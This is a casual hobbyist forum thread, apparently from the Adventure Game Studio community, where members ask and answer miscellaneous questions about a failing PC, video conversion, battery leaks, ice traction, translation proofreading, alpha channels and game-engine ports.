Does the computer have an onboard graphics card? If so you could take your current card out and switch to using the onboard one for testing purposes (should be automatic, but if not there'll be a setting in the BIOS to change between them). Alternatively can you get another card to put in it (though don't put in anything you care about - if the motherboard's fried you might kill the new card as well)?

I'd also run through the Dell diagnostics before trashing the PC. Instructions here (http://support.dell.com/support/topics/global.aspx/support/kcs/document?&docid=DSN_155502&isLegacy=true#Issue2), but the gist is hit F12 on bootup. If you've reinstalled Windows you might have removed the diagnostics partition, so you'd need to re-download it and burn a boot CD or put it on a USB drive.

You could also try a Linux boot CD, just to see what you get with a different OS.
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Post by: Dualnames on 09 Dec 2010, 23:44
I'm trying to convert a 24 frame AVI into 24 images. I tried using VirtualDub but it's not working. I'm using Windows 7. Does anyone know any program that can convert an avi to images. I don't care about the images as long as it doesn't get necessarily converted to jpgs.
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Post by: Anian on 10 Dec 2010, 00:38
@Mods
Sounds pretty bad. I haven't come across that error, though a game that's 'incompatible with Vista' should never kill a PC, especially not to this level. It does seem like a hardware error if you're getting a messed up Dell screen.

Does the computer have an onboard graphics card? If so you could take your current card out and switch to using the onboard one for testing purposes (should be automatic, but if not there'll be a setting in the BIOS to change between them). Alternatively can you get another card to put in it (though don't put in anything you care about - if the motherboard's fried you might kill the new card as well)?
Well the BSOD suggests that there is a software problem, but the problem with display surely suggests graphics card (I saw the matrix thing, then the log on screen would appear, but I couldn't move the cursor or log in, it turend out to be the card).
Yeah, try the onboard gfx port (there should be one), make sure the card is out, before that you can also check if the fan on the card is working properly, cause basically it could be an overheating problem.

If it's not the card, I suggest these standard checks while in safe mode:
- in DOS prompt (which should be run as administrator or it won't work right), write "sfc /scannow" and after that "chkdsk c: /f /r" (c is drive where windows is installed, chkdsk will probably ask for a restart), you probably know these guys  ;D
- if that doesn't work maybe try repairing Windows with the install dvd, make sure to put it right away when restarting so it boots up from the dvd
- try some of these suggestions: http://forums.techarena.in/vista-hardware-devices/689444.htm
Not sure how you actually partially reformat Vista though.  ???

Hmm, if you manage to get into normal start of windows, try leaving the pc on for 15 minutes, if it doesn't shut down or stop giving signal to monitor but for example you can still hear music then try running something graphic intensive (3dsmax, some modern game etc.) if the screen goes black but pc still seems to be working, it's the card.
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Post by: Ali on 10 Dec 2010, 00:42
I'm trying to convert a 24 frame AVI into 24 images. I tried using VirtualDub but it's not working. I'm using Windows 7. Does anyone know any program that can convert an avi to images. I don't care about the images as long as it doesn't get necessarily converted to jpgs.

RAD Video Tools should do it, and is free:

http://www.radgametools.com/bnkdown.htm
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Post by: MJL on 10 Dec 2010, 01:17
OneDollar, Anian, many thanks. Just lost a long reply, but the long and short of it is I now have a working XP install screen thanks to your advice. I'll let you know what happens. The matrixy look hasn't gone away though, even after a format, etc. Hmm. Let you know soon...

Edit: XP is working, matrix look still there though, cant run any games, it says it cannot find the right screen mode or something. Installing nVidia drivers dont seem to work, I am left with the default vga setting. Hrmm!

Found this info too, this is what my display looks a bit like.
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If you’ve ever seen strange graphics artifacts on your computer screen like in the adjacent image, chances are that you have experienced the failure of a display adapter.

If such a display adapter is built into your motherboard (usually called “integrated graphics”), it typically uses a portion of your computer’s RAM memory for displaying video. This can have drawbacks, such as “choppy” video playback speed, or poor video game frame rates.

If you have integrated graphics, repair usually consists of either replacing the motherboard or adding in a discrete video card and disabling the on-board display adapter in the computer’s BIOS.

http://cartierconsulting.com/2010/04/dell-inspiron-e1705-display-adapter-lcd-replacement/

So, a fried motherboard perhaps..
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Post by: LimpingFish on 10 Dec 2010, 01:52
Alright, give me a minute here, because I've been as depressed as a toothless dog at a mailman convention the last few days, and I'm pretty fed up at the moment.

I just discovered that two Duracell AA's leaked inside a Wiimote of mine. The leakage had solidified, so taking the batteries out wasn't very messy, and cleaned up fairly thoroughly. There is a very small amount of leakage crust on the contacts in the battery compartment. With new batteries, the Wiimote still works.

Everything Google threw up mostly concerns personal safety in the face of battery leakage, and not what's bothering me.

My question is twofold:

If I leave the crust there, will it continue to corrode the contacts? And can the solidified crust go on to corrode anew, if some of it happens to get into other equipment?

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Post by: Hollister Man on 10 Dec 2010, 02:04
Dualnames:

I've been using Animation Shop, the version that came with Paint Shop Pro 7, but the newer versions of Photoshop can do it too.  Otherwise, I don't know.
Title: Re: Ask something - We can help.
Post by: Dualnames on 10 Dec 2010, 03:21
Personally I find myself a great fan of photoshop, but after CS they really messed it up. I doubt I ever used anything Adobe CS based, and didn't get totally pissed off. I'm gonna try Animation Shop though Hollister.

@Ali: Thanks for the RAD Video Tools!
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Post by: Calin Leafshade on 10 Dec 2010, 03:25
I just discovered that two Duracell AA's leaked inside a Wiimote of mine.

The exact same thing happened to me and i just carried on using it.

The crusty stuff is potassium hydroxide and can corrode copper fairly badly. However copper is only used on the actual circuit boards, not the battery contacts.

Once the batteries have been removed the crystals wont grow anymore so providing the crystals havent reached the circuit boards you should be ok.
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Post by: Ryan Timoothy on 10 Dec 2010, 03:38
I've had it happen to the OLD black and white Gameboy over 10 years ago and the thing still works. I doubt you'll have any problem. But then again, the B&W Gameboys were the size of a large brick and probably made out of lead and other heavy stuff. :D
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Post by: Anian on 10 Dec 2010, 13:24
I've had it happen to the OLD black and white Gameboy over 10 years ago and the thing still works. I doubt you'll have any problem. But then again, the B&W Gameboys were the size of a large brick and probably made out of lead and other heavy stuff. :D
It's a freaking Gameboy, that's part of the history of hardware manufacturing when they still made stuff that lasted. I found a freaking tetris game cartridge on the ground one time, it was in three pieces and in mud, took it home and dad cleaned it up a bit and glued it together (15 minutes of work tops), game still works today.
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Post by: Ryan Timoothy on 10 Dec 2010, 15:21
It's a freaking Gameboy, that's part of the history of hardware manufacturing when they still made stuff that lasted.
Yeah tell me about it. I've done the 3 year contract with my cell phone twice now, and BOTH times my phones haven't lasted longer than 2 years. I'll never do a 3 year contract again, it's not worth the punishment of putting up with a phone that crashes once in a while. Very annoying. I've even done a hard reset and it still has issues.
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Post by: LimpingFish on 10 Dec 2010, 21:25
Thanks, guys. :)

Yeah, I cleaned most of the stuff out, leaving only a tiny amount on the inner curve of the springy contacts (an absolute bitch to get at). If it's okay to leave it there, I'll just ignore it. The Wiimote still works fine, so best not to tempt fate.

Thanks again.
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Post by: Ponch on 11 Dec 2010, 04:49
I have a question.

Why is it that I find Limpingfish's avatar slightly unsettling 11 months out of the year, but as soon as he slaps a Santa hat on him, it becomes incredibly adorable? :D
Title: Re: Ask something - We can help.
Post by: Gudforby on 11 Dec 2010, 10:38
Well, doesn't it go for the same with your avatar as well???  ::)

But seriuously, animals with hats are always cute...
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 11 Dec 2010, 11:35
Ok I have a physics question.

Yesterday my GF's car got stuck on some ice, the wheels kept spinning.

I put some cloths behind the wheels but still on the ice, and the tires got some traction on the cloth and she was able to reverse.

Now my question is.. why is this possible?

surely if the cloth is *on the ice*  then the friction is the same and the cloth just slips instead of the tires.

basically the friction of a system should be equal to the lowest friction within the system and since the tires are made of high-friction rubber they should be better than the cotton cloth.

Why is that not the case?
Title: Re: Ask something - We can help.
Post by: Wyz on 11 Dec 2010, 15:53
Well I'm by no means an expert on physics but I'm going to spew out a theory:
The cloth might get wet because of the moist that is either on the ice or the tires. The water in the cloths is sympathetic to the ice because of hydrogen bonds so it sticks; Or maybe it just freezes onto the ice. However the cloth provides better traction.

Or something... ;D
Title: Re: Ask something - We can help.
Post by: LimpingFish on 11 Dec 2010, 19:35
Why is it that I find Limpingfish's avatar slightly unsettling 11 months out of the year, but as soon as he slaps a Santa hat on him, it becomes incredibly adorable? :D

The hairless-osity of the hamster factor is countered by the fuzzy-acity of the hat matrix.

H(hr)- * HT(f)+ =  :D

Title: Re: Ask something - We can help.
Post by: OneDollar on 11 Dec 2010, 19:56
Why is that not the case?

Just guessing, but my theories...
1 - You slide on ice because the surface melts and provides a thin layer of water which acts as a lubricant. Maybe the cloth absorbs the water.

2 - The cloth provides a larger surface area, so more friction. The tyre is full of groves which aren't in contact with the ground, so aren't providing any grip. (The purpose of a tyre tread is to carry away water from rain or ice, to stop the tyre slipping. A bald tyre actually has much more grip than a tyre with a tread because more of it is in contact with the road, but as soon as there's water involved - rain, snow, ice - it starts to slip. If I'm right about guess 1, that wouldn't be an issue for the cloth).

3 - On a cold winter's day the rubber in the tyres is much harder, and won't mould itself to the ground (this is why winter tyres are better in the snow - they're made from a different compound that stays soft in the cold). The cloth can mould to the ice and provide more friction.
Title: Re: Ask something - We can help.
Post by: Ponch on 11 Dec 2010, 20:19
Why is it that I find Limpingfish's avatar slightly unsettling 11 months out of the year, but as soon as he slaps a Santa hat on him, it becomes incredibly adorable? :D

The hairless-osity of the hamster factor is countered by the fuzzy-acity of the hat matrix.

H(hr)- * HT(f)+ =  :D

Ah! So it's science! Adorable science!
Title: Re: Ask something - We can help.
Post by: ThreeOhFour on 11 Dec 2010, 20:30
Also you have an unnaturally strong fondness for all things Christmas, Ponch  :D
Title: Re: Ask something - We can help.
Post by: Ponch on 11 Dec 2010, 20:36
Also you have an unnaturally strong fondness for all things Christmas, Ponch  :D

Speaking of...

(http://www.barnrunner.com/pics/misc/avatarnew0-improved.PNG)

I'll be hurt if you don't use it! ;)


Edit: And to anyone that doesn't love Christmas: http://www.youtube.com/watch?v=5ysfQjKKi70 (http://www.youtube.com/watch?v=5ysfQjKKi70) ;)

Title: Re: Ask something - We can help.
Post by: Ryan Timoothy on 12 Dec 2010, 02:42
I have a more important question..

Why is OneDollar spelling it as Tyre? Damn English.  ;D I'm Canadian and I'm not even that bad. ;)

Also... why does Barefoot use a BMP image for his avatar that is almost half a MB. Damn man. Think of the bandwidth and those poor chinese people that have to run that information to my computer... That is how the internet works, right?
Title: Re: Ask something - We can help.
Post by: MJL on 12 Dec 2010, 05:57
What is run > sndvol on XP sp 3? Yay
Title: Re: Ask something - We can help.
Post by: Peder on 13 Dec 2010, 01:08
What is the song playing in this video?


Been listening to it for ages trying to figure out the lyrics sung in the ending to try and search for it but no luck so far..
Title: Re: Ask something - We can help.
Post by: DoorKnobHandle on 13 Dec 2010, 01:20
What is run > sndvol on XP sp 3? Yay

Hit the Windows button + R and type in "sndvol". It's your Windows mixer. :D
Title: Re: Ask something - We can help.
Post by: Atelier on 13 Dec 2010, 19:44
Peder, look through this: http://www.myspace.com/scanners. According to one of the comments this band recorded the song for the video, not sure how reliable that is.
Title: Re: Ask something - We can help.
Post by: Peder on 13 Dec 2010, 19:48
Yeah, checked it but haven't actually found the song. And in one of the other comments it is mentioned they never found it on there neither..
Title: Re: Ask something - We can help.
Post by: MJL on 15 Dec 2010, 17:53
What is run > sndvol on XP sp 3? Yay

Hit the Windows button + R and type in "sndvol". It's your Windows mixer. :D

It doesn't load by typing in sndvol, so I'm wondering if I need to type something different. The only way to open it is double click the speaker icon, but I was hoping I could type something under Run also :)
Title: Re: Ask something - We can help.
Post by: DoorKnobHandle on 15 Dec 2010, 18:20
Oh, misunderstood the problem there, sorry. There is a way to open it in the system settings but it's easier clicking the speaker icon. Apparently "sndvol" only works on Vista and newer..?
Title: Re: Ask something - We can help.
Post by: OneDollar on 15 Dec 2010, 20:24
What is run > sndvol on XP sp 3? Yay

sndvol32
Title: Re: Ask something - We can help.
Post by: InCreator on 15 Dec 2010, 21:01
Since same question was horribly derailed with irrelevant notions last time, but I'm still wondering, I ask again:

setting:

let's assume that you're... God. Or Neo, and world is fully implemented Matrix... or whatever.
Anyway, it is important that you see everything, you hear everything.
And you can "zoom in" to any scale in the universe. For example, to flea level and see flea in "full size" and hear every sound it makes, etc.

Well, and you can zoom in to atomic level. See atoms close up, how they act etc.

case:

A brick wall stands in the wind. You zoom in to atomic level. You can actually see air molecules impact with the ones of materials bricks are made.

questions:

* How would it look? Would it be equivalent to sky raining asteroids, with "explosions" everywhere, some of the air molecules binding with ones of whatever-brick-clay-consists-of, atoms flying apart from impact, etc?

Logic - slight wind for us is a hurricane to an ant. How about an atom?

* Would you see surface of brick decaying endlessy all the time and simply the super minor scale of this happening causes bricks to last... seemingly forever for us? Or are things much more stable even in so microscopic world?

* How would it sound? I believe there is no sound where is no friction, and everything around us makes noise, even though we don't hear even fragment of it... But atoms are all about friction and impacts... imaging you "zoom" so close, would there be hell of a "noise" with billions of impacts happening every second? Or is there some physics law that kills sound at some point?
Well, sound is movement of air, right... Would wind blowing against brick wall cause enough force to actually make airwaves?

...again, it doesn't matter at all who or what observer is. Might aswell be a super microscope & microphone from year 3605 AD. No humanly limits!
Title: Re: Ask something - We can help.
Post by: Ali on 15 Dec 2010, 21:11
Since same question was horribly derailed with irrelevant notions last time, but I'm still wondering, I ask again:

setting:

let's assume that you're... God. Or Neo, and world is fully implemented Matrix... or whatever.
Anyway, it is important that you see everything, you hear everything.
And you can "zoom in" to any scale in the universe. For example, to flea level and see flea in "full size" and hear every sound it makes, etc.

Well, and you can zoom in to atomic level. See atoms close up, how they act etc.

case:

A brick wall stands in the wind. You zoom in to atomic level. You can actually see air molecules impact with the ones of materials bricks are made.

questions:

* How would it look? Would it be equivalent to sky raining asteroids, with "explosions" everywhere, some of the air molecules binding with ones of whatever-brick-clay-consists-of, atoms flying apart from impact, etc?

Logic - slight wind for us is a hurricane to an ant. How about an atom?

* Would you see surface of brick decaying endlessy all the time and simply the super minor scale of this happening causes bricks to last... seemingly forever for us? Or are things much more stable even in so microscopic world?

* How would it sound? I believe there is no sound where is no friction, and everything around us makes noise, even though we don't hear even fragment of it... But atoms are all about friction and impacts... imaging you "zoom" so close, would there be hell of a "noise" with billions of impacts happening every second? Or is there some physics law that kills sound at some point?
Well, sound is movement of air, right... Would wind blowing against brick wall cause enough force to actually make airwaves?

I could wait for a physicist answer that but I'll have a go in the mean time.

The concept of looking and hearing are not relevant at the atomic level. I don't think light beams are small enough to look at atoms, and although we use electron microscopes to look at very small objects, atoms are very much smaller still. Sounds are made when vibrations travel through the air, and there is no medium for 'atomic sounds' to move through.

The depictions of atoms we're used to are visual representations which help us to understand them. I believe they are mostly made of nothing, a bit like the solar system.
Title: Re: Ask something - We can help.
Post by: Calin Leafshade on 15 Dec 2010, 21:29
Youre making the mistake of assuming that the macroscopic and the atomic levels are similar in behaviour. They simply arent.

You couldnt really see what was happening. To see something you need a photon to bounce off it. If a photon bounces off a particle then the particle isnt there anymore. Your photon sent it flying somewhere else.

Secondly it's impossible to accurate place an atomic particle like that. They arent really little balls. They are waves of probability. A wave function.

Indeed, particles can be one side of a particle and the other side of it *at the same time*.

And the sound thing is even more impossible since sound requires a medium to move through and that medium is the very atoms we are talking about.

if you're interested in physics like this but just want it in layman's terms I recommend the sixty symbols youtube videos which come from my home town ^_^ (Nottingham University to be specific)

www.youtube.com/sixtysymbols


They are all awesome but for instance:


&feature=related
&feature=related

Title: Re: Ask something - We can help.
Post by: Gabriel_Down on 15 Dec 2010, 21:56
And you thought pixel hunting was a drag
Title: Re: Ask something - We can help.
Post by: bicilotti on 22 Dec 2010, 17:56
So I'm looking for

cheap site hosting, with ASP.

I'd say godaddy but who knows, maybe you know some people who know some people who are even cheaper.
Title: Re: Ask something - We can help.
Post by: TerranRich on 23 Dec 2010, 22:12
So I'm looking for

cheap site hosting, with ASP.

I'd say godaddy but who knows, maybe you know some people who know some people who are even cheaper.

I use HostGator and I highly recommend them. Their plans are incredibly cheap, but offer good features on hosting.
Title: Re: Ask something - We can help.
Post by: Peder on 31 Dec 2010, 19:32
http://host.exemplum.com/hasbro/gloworld/firefly-mobile/firefly-mobile.html
What is song number 2 on --> Music Box --> Classical (gotta listen to the first one untill the second starts..)
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 03 Jan 2011, 09:44
Since I can ask anything, I'll ask something.

There's something I can never remember how to say in English : How do you call those government estates that are supposed to have a lower rent. Put bluntly: How do you call the State-owned buildings where "poorer people" live?

I believe it's "something project" or "something yard" ?
Title: Re: Ask something - We can help.
Post by: Al_Ninio on 03 Jan 2011, 09:50
http://en.wikipedia.org/wiki/Public_housing
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 03 Jan 2011, 10:46
Alright, so here is a translation I wrote :

Could any native English speaker (but sonicrumpets (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=42379.msg562369#msg562369)  ;)) tell me if there are some grammar mistakes, things that don't make sense, or misspellings?

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Adult and teenage girls :
Perspectives on sexuality in grammar school

This research offers an analysis on sex education and how it’s implemented in a school environment. It will be lead in grammar schools, from the interviews of teenage girls and adult education workers (teachers, social workers, school nurses, etc.). We’ll focus on how sex education laws are interpreted locally. We’ll study the forms of teenage girls’ sexual expression in a context where there is the influence of tradition and religion, relations between genres, suburbs culture and social housing culture.
Studying the perception of sex education by teenage girls and the teaching methods of professionals will allow having a grasp of the peculiar stakes on prevention around that topic, still subject to taboos. It will help finding out the influences of perspectives both from professionals and young girls on potential pregnancy choices.
We will offer elements to put the study in context, using a psychosociological approach: normative injunctions on procreation, representations of parenthood, perception of children’s’ status in families, and, more generally, in society. The goal is to understand how each young girl and each professional construct and interiorize their own personal image of the “paradigmatic” mother and father.
This work of research, taking in account the evolution of the legal context, should allow evaluating the answers and the adaptation capabilities of teaching institutions regarding contraception, pregnancy, and maternity amongst teenage girls.
Title: Re: Ask something - We can help.
Post by: Babar on 03 Jan 2011, 11:19
The article didn't have any misspellings, and the only instance of incorrect grammar I found was use of "children's'" (children is already plural), and the only thing I found personally to not make sense is the use of the word 'genres'. However, it did have (what I would consider) to be somewhat clunky english in parts, and I maybe would've arranged some things a bit differently. It was easier for me to have a go at it rather than explaining everything that sounded odd. So here is how I would've done it, keeping in mind that I'm not an expert in psycho-socialogical research into sex education and it's related technical terms :D, but rather have some (hopefully helpful) information on how to make your passage more readable. Hopefully it'll be of some use to you:

This research offers an analysis on sex education and how it is implemented in a school environment. It will be focused on grammar schools, mainly derived from the interviews of teenage girls and adult education workers (teachers, social workers, school nurses, etc.). We’ll focus on how sex education laws are interpreted locally, as well as study the forms of sexual expression in teenage girls in a context where there is the influence of tradition and religion, relations between genres[what do you mean by genre?], suburbs culture and social housing culture.
Studying the perception of sex education by teenage girls and the teaching methods of professionals will allow us to have a grasp of the peculiar stakes on prevention around that topic, still subject to taboos[I'm not sure how to fix this bit..I tried a bit, but perhaps using 'us' here is not how you want your article to go]. It will help in finding out the influences of perspectives on potential pregnancy choices both from professionals and young girls.
We will offer elements to put the study in context, using a psycho-sociological approach: normative injunctions on procreation, representations of parenthood, perception of children's status in families, and, more generally, in society. The goal is to understand how each young girl and each professional construct and interiorize their own personal image of the “paradigmatic” mother and father.
This work of research, taking in account the evolution of the legal context, should allow evaluating the answers[perhaps 'solutions' or maybe 'procedures' or 'methodologies' might be a more appropriate word here, considering that "contraception, pregnancy, and maternity amongst teenage girls" aren't technically questions] and the adaptation capabilities of teaching institutions regarding contraception, pregnancy, and maternity amongst teenage girls.
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Post by: Anian on 03 Jan 2011, 11:53
- this part: expression in the context of tradition and religion, relations (maybe interactions, relationships, differences) between genders, suburban culture - I think "in context of" already applies that it has influence
- instead of genres, I think you meant genders
- last paragraph - taking into account

And the parts that Babar mentioned.
Not a native speaker but you're not as well, so :P
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 03 Jan 2011, 12:02
@Babar, @Anian : Yes, I confused "genres" and "genders"!! How silly of me. It's the same word for both in French.
@Anian : Can I trust you when yourself confuse "to apply" and "to imply"? ;) Just kidding.
Title: Re: Ask something - We can help.
Post by: Anian on 03 Jan 2011, 12:20
@Anian : Can I trust you when yourself confuse "to apply" and "to imply"? ;) Just kidding.
Yes, yes I did and yes you can.  ;D
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 03 Jan 2011, 12:28
Alright, thanks again, Babar and Anian.

Here is a second go :

Notes : About the "answers" thing, I wasn't satisfied with "procedures" or "solutions", because what the author is trying to express, is how the government/senate/etc. "answers", or "replies", to changes in the society. It's not so much about the solutions they choose, but more about how quickly they adapt. Do you get me? I'm ready to accept that "answer" is not the right word but I also know that I'll change the meaning of the sentence if I take "solutions" or "procedures".

===============

Adults and teenage girls :
Perspectives on sexuality in grammar school

This research offers an analysis on sex education and how it’s implemented in a school environment. It will be focused on grammar schools, derived from the interviews of teenage girls and adult education workers (teachers, social workers, school nurses, etc.). We’ll deal with the way sex education laws are interpreted locally, as well as study the forms of sexual expression in teenage girls in a context where there is the influence of tradition and religion, interactions between genders, suburbs culture and social housing culture.
Studying the perception of sex education by teenage girls and the teaching methods of professionals should allow having a grasp of the stakes on prevention around that topic, still subject to taboos. It will help in finding out the influences of perspectives on potential pregnancy choices both from professionals and young girls.
We will offer elements to put the study in context, using a psycho-sociological approach: normative injunctions on procreation, representations of parenthood, perception of children status in families, and, more generally, in society. The goal is to understand how each young girl and each professional construct and interiorize their own personal image of the “paradigmatic” mother and father.
This work of research, taking into account the evolution of the legal context, should allow evaluating the answers and the adaptation capabilities of teaching institutions regarding contraception, pregnancy, and maternity amongst teenage girls.
Title: Re: Ask something - We can help.
Post by: Babar on 03 Jan 2011, 12:48
Perhaps then 'responses' would be a better word?
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 03 Jan 2011, 12:55
Perhaps then 'responses' would be a better word?

Yes, that's it.
again, in French, "reply", "answer" and "response" are the same word. I get the difference but the right word doesn't come spontaneously.

Thanks a lot. I think the translation is correct now. I never thought I'd call upon the AGS community for that kind of stuff! (not that I would have to translate such a text!!!)


Title: Re: Ask something - We can help.
Post by: Stupot on 04 Jan 2011, 12:24
Sorry if this is moot now, but myself and everyone I know just calls them 'council houses' and 'council estates'.
I grew up in them, haha.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 04 Jan 2011, 17:04
Sorry if this is moot now, but myself and everyone I know just calls them 'council houses' and 'council estates'.
I grew up in them, haha.

Yeah that's it!
I'll correct it. Thanks!
Title: Re: Ask something - We can help.
Post by: theo on 05 Jan 2011, 11:22
Can I compile my AGS game into something that can run on a mac?
(not interested in running the game through a virtual machine or anything wackily complicated like that, I want a standalone version of the game that runs on mac.)

I'm guessing this is a no-go since I've seen zero ags games boasting about being mac compatible.
Title: Re: Ask something - We can help.
Post by: Gilbert on 05 Jan 2011, 13:32
Yes. There is a mac native engine (http://www.adventuregamestudio.co.uk/yabb/index.php?topic=30021.0) in development. However, it's for a very old version (V2.71), so if you really want to make a game that runs in a mac you need to make it with that version of AGS. Also, pay attention of what features are missing and what glitches there are in that version and have this in mind when developing the game.
Title: Re: Ask something - We can help.
Post by: Que Tran on 05 Jan 2011, 13:47
What's an alpha channel?
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 05 Jan 2011, 14:22
What's an alpha channel?

In a file containing a picture, the colors are usually stored using 3 informations : the Red, the Green and the Blue. (If that part's not clear for you, just tell me)
The corresponding "channel" is a general way to call all information related either to red, or to green, or to blue. In other words, the Blue channel refers to the overall "Blue" component of the entire picture, or specifically to the Blue component of a single pixel.

The Alpha Channel is a 4th channel meant to store something else, something that's not litterally a color.

It's meant to store the transparency.

Instead of having RGB, you'll have RGBA (A = Alpha).

===========

Simple example :
Suppose you want to display a Red pixel. then the RGB values will be : (100%, 0%, 0%)  (all red, no green, no blue)
Suppose you want to make it opaque : RGBA will be : (100%, 0%, 0%, 100%)
Suppose you want to make it half-transparent : RGBA will be : (100%, 0%, 0%, 50%)
Suppose you want to make it completely transparent (invisible): RGBA will be : (100%, 0%, 0%, 00%)
Title: Re: Ask something - We can help.
Post by: theo on 05 Jan 2011, 21:24
Thanks for the quick response Gilbet!

Anyone know if there are any plans on pushing the mac runtime to AGS 3.2 compatibility?
The thread seemed somewhat dead sadly.

Saren: A good thing to know about alpha channels is that there are two common different types of them. There are those traditionally used in oldschool games that are simply transparency on/off. This is what you get in a .gif or a 8 bit .png. More commonly nowadays however is a fancier transparency that uses 256 depths of transparency, thus making it possible to have nice smooth edges on things, instead of jaggedy on/off pixels. 24 bit png's for an instance, use this.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 06 Jan 2011, 10:35
A good thing to know about alpha channels is that there are two common different types of them.
- There are those traditionally used in oldschool games that are simply transparency on/off. This is what you get in a .gif or a 8 bit .png.
- More commonly nowadays however is a fancier transparency that uses 256 depths of transparency, thus making it possible to have nice smooth edges on things, instead of jaggedy on/off pixels. 24 bit png's for an instance, use this.

+1
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 06 Jan 2011, 10:42
Anyone know if there are any plans on pushing the mac runtime to AGS 3.2 compatibility?
The thread seemed somewhat dead sadly.

If I'm not mistaken, the old MacOS port of AGS 2.7x is from the time when MacOS was MacOS 9, that is a completely different OS from nowadays.
Now that Apple has changed technology and that MacOS X is a UNIX in disguise, you'd actually need someone to continue the Linux port (and extend it to MacOS X support).
Then again, I might be wrong.

I'm pretty sure all that will be made much easier if/when Chris Jones releases the source of the Engine, which seems to be pretty imminent.
Title: Re: Ask something - We can help.
Post by: Que Tran on 06 Jan 2011, 14:37
Thanks Monsieur! I've been wondering what alpha channels are for a long time.
Title: Re: Ask something - We can help.
Post by: Que Tran on 06 Jan 2011, 16:40
Oh and another one: When I import character images into AGS for sprites, how do make sure the white background that I drew them on doesn't appear in the game? I once downloaded some characters in a package just to see what they looked like and they were on pink backgrounds?
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 06 Jan 2011, 16:53
Oh and another one: When I import character images into AGS for sprites, how do make sure the white background that I drew them on doesn't appear in the game? I once downloaded some characters in a package just to see what they looked like and they were on pink backgrounds?

You'd better post that in the beginners forum.
The transprent color by default in AGS is pink (that is : red=100%, green=0%, blue=100%)
I think you can pick another one at the time you import the picture, there is an option to use the color of the upper-left-hand-corner.
Title: Re: Ask something - We can help.
Post by: LRH on 06 Jan 2011, 16:55
Oh and another one: When I import character images into AGS for sprites, how do make sure the white background that I drew them on doesn't appear in the game? I once downloaded some characters in a package just to see what they looked like and they were on pink backgrounds?

Well, when you go to import a sprite, you should see a little box asking you to choose a transparency color, usually by choosing a pixel in one of the four corners of the image file. For example, if you draw on a white background and you want white to be the transparent and unseen color, if white is the color of the pixel in the upper right corner, choose upper right corner from the drop down menu.
Title: Re: Ask something - We can help.
Post by: LRH on 06 Jan 2011, 16:57
While I'm here I actually have a very strange question. Ultimate Game Solutions is giving my site more traffic than AGS. Not complaining, it's actually kind of cool. But why is that? I've visited the site and I can't seem to find anything on why this could be. It's not like it's featured or anything.
Title: Re: Ask something - We can help.
Post by: Que Tran on 06 Jan 2011, 17:09
Thanks for answering!
Title: Re: Ask something - We can help.
Post by: Stupot on 07 Jan 2011, 04:31
Dom, the links in your AGS database entries for Living Nightmare (original) and for Endless Dreams are broken.  Deluxe is fine though.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 12 Jan 2011, 15:13
Anybody knows a good Forums hoster?

The requirements are :
- The forum won't disappear for no reason in 2 years
- It's free
- There aren't "too much" ads
- It's not "too" slow (SourceForge is awafully slow!!!)
- It has all the fancy stuff (BBCodes)

I'd understand if that kind of free service didn't exist around, but considering there are free website hosting, free files uploading, free pictures hosting, etc... I guess there would be free forums.
Title: Re: Ask something - We can help.
Post by: Butcher on 12 Jan 2011, 15:27
I have a question as well

When I post a link from my site (www.balderduck.com) on facebook I get to pick a picture from it. The selection includes only secondary pictures and avatars that are in the left and right columns but not the main pic which is the comic

I'm using comicpress, which is a wordpress related software for comic sites

I've looked at a lot of forums and suggestions and none of them seem to work. Has any of you had that problem or have any idea how to fix it?
Title: Re: Ask something - We can help.
Post by: Stupot on 12 Jan 2011, 16:02
Monsieur,
I know if you have a Freewebs (http://www.webs.com/) website you can also add a forum to it.
Perhaps you could create a Freewebs account, and even if you don't care about using it to make a website you could just use it to set up a forum and then link to it from your own website.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 13 Jan 2011, 11:13
I have a question as well

When I post a link from my site (www.balderduck.com) on facebook I get to pick a picture from it. The selection includes only secondary pictures and avatars that are in the left and right columns but not the main pic which is the comic

I'm using comicpress, which is a wordpress related software for comic sites

I've looked at a lot of forums and suggestions and none of them seem to work. Has any of you had that problem or have any idea how to fix it?

The image chosen by Facebook to generate the thumbnail depends on  some algorithm they have, and can't be changed. To my knowledge, there is no workaround, but I might be wrong. You can click the option "do not show thumbnail". There won't be a thumbnail, but at least your post won#t be polluted with some random picture.
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 13 Jan 2011, 16:17
Monsieur,
I know if you have a Freewebs (http://www.webs.com/) website you can also add a forum to it.
Perhaps you could create a Freewebs account, and even if you don't care about using it to make a website you could just use it to set up a forum and then link to it from your own website.

It turns out Sourceforge have 2 differentForums service, the regular crappy one, and the phpBB one. I've nabled the lattest and it's faster and cooler.

Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 13 Jan 2011, 16:18
Has Mr Fibble disappeared?
If I'm not mistaken there used to be an AGS user under the name "MrFibble"? Where has he gone, I can't seem to find any posts by that guy.
Title: Re: Ask something - We can help.
Post by: cat on 13 Jan 2011, 16:20
Did you mean MrFlibble? http://www.adventuregamestudio.co.uk/yabb/index.php?action=profile;u=2068 (http://www.adventuregamestudio.co.uk/yabb/index.php?action=profile;u=2068)
Title: Re: Ask something - We can help.
Post by: Monsieur OUXX on 14 Jan 2011, 10:11
Did you mean MrFlibble? http://www.adventuregamestudio.co.uk/yabb/index.php?action=profile;u=2068 (http://www.adventuregamestudio.co.uk/yabb/index.php?action=profile;u=2068)

Yeah that's him. I misspelled his name.
I also mispelt "misspelled"
I also misspelt "mispelt"

On a totally unrelated note:  I'm glad he changed his avatar, the old one (with the weird guy holding a puppet) was weirding me out. :-)
Title: Re: Ask something - We can help.
Post by: Dualnames on 14 Jan 2011, 10:16
Did you mean MrFlibble? http://www.adventuregamestudio.co.uk/yabb/index.php?action=profile;u=2068 (http://www.adventuregamestudio.co.uk/yabb/index.php?action=profile;u=2068)

Yeah that's him. I misspelled his name.
